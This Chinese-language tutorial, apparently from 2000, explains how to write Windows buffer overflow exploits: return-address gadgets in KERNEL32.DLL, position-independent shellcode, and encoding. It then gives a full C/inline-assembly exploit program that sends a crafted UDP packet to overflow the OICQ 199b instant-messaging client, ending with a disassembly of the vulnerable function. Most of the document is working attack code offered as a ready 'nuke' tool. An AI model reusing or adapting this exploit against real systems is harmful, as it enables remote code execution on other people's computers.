概述
WINDOWS下的溢出程序编写技巧
作者:袁哥
mail: yuange@163.net
看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。
1、JMP ESP 的问题。
为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,
别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的
模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本
)。解决了JMP ESP (FF E4)代码找不到问题,增加使用
PUSH ESP (54)
。。。。
RET (C3)
或者
PUSH ESP (54)
。。。。
RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)
代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。
比如找到一处代码就可以使用:
PUSH ESP
AND AL,08
RET 10
选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。
因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然
KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP,
但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是
用宏定义。
2、解决SHELLCODE的编写问题。
原来很多程序的SHELLCODE都是用先编写好后用"/XAA/XBB"的形式写出来,一个是不好修改,还有不好看
到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就
是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用
LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里
面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X
下没有统一了。
程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:
一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。
二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP
的代码用NOP填充。
3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的
SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。
/* oicq 199b build 0220 overflow program
copy by yuange <yuange@163.net> 2000。04。18
新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#define NUKEWIN2000
//#define NUKEWIN9X
#ifdef NUKEWIN2000
#define RETEIPADDR eipwin2000
#define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary
#define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress
#else
#ifdef NUKEWIN9X
#define RETEIPADDR eipwin9x
#define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary
#define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress
#else
#define RETEIPADDR eipwinnt
#define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary
#define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress
#endif
#endif
#define NOPCODE 0x90
#define BUFFSIZE 0x2000
#define OICQPORT 4000
#define OICQOVERADD 7+0x41C
#define OVERADD OICQOVERADD
#define STR0 0
#define STR1 11
#define STR2 23
#define STR3 33
#define STR4 39
#define STR5 51
void shellcodefnlock();
void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="user32.dll""/x0""MessageBoxA""/x0"" secuess""/x0"" OK!""/x0""msvcrtd.dll""/x0""exit""/x0";
char buff1[]="/x02/x01/x07/x00/x78/x11/x22/x33/x33/x33/x33/x33/x1f/x30/x1f/x37/x35/x1f""2000-4-10""/x1f""12:00:00""/x1f";
/* oicq udp head */
//0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c
char eipwinnt[] ="/xd4/xdd/xee/x77"; //0x77ed0000+0x0001ddd4
char eipwin2000[] ="/xea/x17/xe8/x77"; //0x77e60000+0x000217ea
// kernel32.dll // push esp // and al,08 // ret 0c
//0x77e2e32a user32.dll JMP ESP
char eip2win2000[] = "/x2a/xe3/xe2/x77"; //0x77df0000+0x0003e32a
char eipwin9x[] = "/xd9/x6a/xf7/xbf"; //0xbff70000+0x00006ad9
// Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9
// push esp // and al,0x10; // ret 0x10;
char buff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
unsigned int i,j,k;
unsigned char temp;
int fd;
u_short port,port1;
SOCKET d_ip;
WSADATA wsaData;
int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(argc <2)
{
WSACleanup( );
fprintf(stderr,"/n nuke oicq ./n copy by yuange 2000.4.1. /n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr, "/n usage: %s <server> [port] /n", argv[0]);
exit(1);
}
else server = argv[1];
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("/n Can't get the ip of %s !/n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port = atoi(argv[2]);
else port=OICQPORT;
if(port==0) port=OICQPORT;
fd = socket(AF_INET, SOCK_DGRAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in2.sin_family = AF_INET;
if(argc>3) port1=atoi(argv[3]);
else port1=OICQPORT;
if(port1==0) port1=OICQPORT;
s_in2.sin_port = htons(port1);
s_in2.sin_addr.s_addr =0;
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));
printf("/n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
memset(buff,NOPCODE,BUFFSIZE);
memcpy(buff,buff1,37);
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
// (int *) i=(int*) *chkespadd;
_asm{
mov EDI,dword ptr [chkespadd]
mov EDI,[EDI]
mov i,EDI
}
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *) k=(int *) *shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,"/x90/x90/x90/x90",4)==0) break;
}
memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *)k=*shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,"/x90/x90/x90/x90",4)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
memcpy(shellcodebuff+k,str,0x80);
sendpacketlong=k+0x80;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+0x20+k,"/x90/x90/x90/x90",4)==0) break;
}
for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff[i];
temp&=0xf0;
temp=temp/0x10;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
temp=shellcodebuff[i];
temp&=0x0f;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
}
memcpy(buff+OVERADD,RETEIPADDR,4);
sendpacketlong=OVERADD+0x20+k+0x10;
for(i=0;i<1;++i){
j=rand();
buff1[0x5]=j;
buff1[0x6]=j+1;
j=sendpacketlong;
buff[j-1]=0x03;
fprintf(stderr,"/n send packet %d bytes.",j);
sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));
}
closesocket(fd);
WSACleanup( );
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
jmp next
getediadd: pop EDI
push EDI
pop ESI
looplock: lodsw
sub AX,0x4141
shl AL,4
xor AL,AH
stosb
cmp AH,0x10
jb looplock
jmp shell
next: call getediadd
shell: nop
nop
nop
nop
}
}
void shellcodefn()
{
// const char str[]="user32.dll""/x0""MessageBoxA""/x0""msvcrtd.dll""/x0""exit";
FARPROC procloadlib,procgetadd,procmsg,procexit;
char *stradd;
HANDLE libhandle;
procloadlib = LoadLibraryfnaddress;
procgetadd = GetProcAddressfnaddress;
_asm
{
jmp nextcall
getstradd: pop stradd
}
libhandle=procloadlib(stradd+STR0);
procmsg=procgetadd(libhandle,stradd+STR1);
procmsg(0,stradd+STR3,stradd+STR2,0);
// libhandle=procloadlib(stradd+STR6);
// opensocketadd=procgetadd(stradd+str7);
libhandle=procloadlib(stradd+STR4);
procexit =procgetadd(libhandle,stradd+STR5);
procexit(0);
_asm{
die: jmp die
nextcall: call getstradd
nop
nop
nop
nop
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i<len;++i){
temp=shellbuff[i];
if(temp==0xe8){
// (int *)k=*(shellbuff+i+1);
k=shellbuff+i+1;
_asm{
mov EDI,k
mov EDI,[EDI]
mov k,EDI
}
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}
/* OICQ有问题代码
:00425D51 837C240800 cmp dword ptr [esp+08], 00000000
:00425D56 740C je 00425D64
:00425D58 8B01 mov eax, dword ptr [ecx]
:00425D5A FF742408 push [esp+08]
:00425D5E FF90B8000000 call dword ptr [eax+000000B8]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D56(C)
|
:00425D64 33C0 xor eax, eax
:00425D66 C20800 ret 0008
:00425D69 B8E4774900 mov eax, 004977E4
:00425D6E E80D700300 call 0045CD80
:00425D73 81EC10040000 sub esp, 00000410
;有溢出 yrg 2000.04.18
;缓冲区大小
:00425D79 53 push ebx
:00425D7A 56 push esi
:00425D7B 8B7508 mov esi, dword ptr [ebp+08]
:00425D7E 8D85E4FBFFFF lea eax, dword ptr [ebp+FFFFFBE4]
:00425D84 57 push edi
:00425D85 50 push eax
:00425D86 FF7628 push [esi+28]
:00425D89 8BD9 mov ebx, ecx
:00425D8B FF7624 push [esi+24]
:00425D8E E8C9000000 call 00425E5C
:00425D93 85C0 test eax, eax
:00425D95 0F84B0000000 je 00425E4B
:00425D9B 8D85E8FBFFFF lea eax, dword ptr [ebp+FFFFFBE8]
:00425DA1 8D4DF0 lea ecx, dword ptr [ebp-10]
:00425DA4 50 push eax
:00425DA5 E8CFF10400 call 00474F79
:00425DAA 8365FC00 and dword ptr [ebp-04], 00000000
:00425DAE 8BBDE6FBFFFF mov edi, dword ptr [ebp+FFFFFBE6]
:00425DB4 56 push esi
:00425DB5 8D4D08 lea ecx, dword ptr [ebp+08]
:00425DB8 E8BCF10400 call 00474F79
:00425DBD 0FB785E4FBFFFF movzx eax, word ptr [ebp+FFFFFBE4]
:00425DC4 8B7620 mov esi, dword ptr [esi+20]
:00425DC7 83E878 sub eax, 00000078
:00425DCA C645FC01 mov [ebp-04], 01
:00425DCE 7434 je 00425E04
:00425DD0 48 dec eax
:00425DD1 7560 jne 00425E33
:00425DD3 51 push ecx
:00425DD4 8D45F0 lea eax, dword ptr [ebp-10]
:00425DD7 8BCC mov ecx, esp
:00425DD9 8965EC mov dword ptr [ebp-14], esp
:00425DDC 50 push eax
:00425DDD E89EEE0400 call 00474C80
:00425DE2 57 push edi
:00425DE3 56 push esi
:00425DE4 51 push ecx
:00425DE5 8D4508 lea eax, dword ptr [ebp+08]
:00425DE8 8BCC mov ecx, esp
:00425DEA 8965E8 mov dword ptr [ebp-18], esp
:00425DED 50 push eax
:00425DEE C645FC03 mov [ebp-04], 03
:00425DF2 E889EE0400 call 00474C80
:00425DF7 8BCB mov ecx, ebx
:00425DF9 C645FC01 mov [ebp-04], 01
:00425DFD E8D4030000 call 004261D6
:00425E02 EB2F jmp 00425E33
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425DCE(C)
|
:00425E04 51 push ecx
:00425E05 8D45F0 lea eax, dword ptr [ebp-10]
:00425E08 8BCC mov ecx, esp
:00425E0A 8965E8 mov dword ptr [ebp-18], esp
:00425E0D 50 push eax
:00425E0E E86DEE0400 call 00474C80
:00425E13 57 push edi
:00425E14 56 push esi
:00425E15 51 push ecx
:00425E16 8D4508 lea eax, dword ptr [ebp+08]
:00425E19 8BCC mov ecx, esp
:00425E1B 8965EC mov dword ptr [ebp-14], esp
:00425E1E 50 push eax
:00425E1F C645FC02 mov [ebp-04], 02
:00425E23 E858EE0400 call 00474C80
:00425E28 8BCB mov ecx, ebx
:00425E2A C645FC01 mov [ebp-04], 01
:00425E2E E860040000 call 00426293
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00425DD1(C), :00425E02(U)
|
:00425E33 8065FC00 and byte ptr [ebp-04], 00
:00425E37 8D4D08 lea ecx, dword ptr [ebp+08]
:00425E3A E8CCF00400 call 00474F0B
:00425E3F 834DFCFF or dword ptr [ebp-04], FFFFFFFF
:00425E43 8D4DF0 lea ecx, dword ptr [ebp-10]
:00425E46 E8C0F00400 call 00474F0B
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D95(C)
|
:00425E4B 8B4DF4 mov ecx, dword ptr [ebp-0C]
:00425E4E 5F pop edi
:00425E4F 5E pop esi
:00425E50 64890D00000000 mov dword ptr fs:[00000000], ecx
:00425E57 5B pop ebx
:00425E58 C9 leave
:00425E59 C20400 ret 0004
*/
/* OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》
struct TOicqPtoP
{
char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag3; // 0x07
char Tag4; // 0x00
char Tag5; // 0x78
char Tag6; // 这两个字节相当于 unix 上的进程 ID,
char Tag7; // 随便赋值就可。
char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456
char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f
char cR; // '0' 固定
char cFF; //
char cE[]; // "75" ,这一位相对固定,可能是操作方式。
char cFF;
char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f
char OutMsg[]; // 发送的消息内容。
char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。
};
*/
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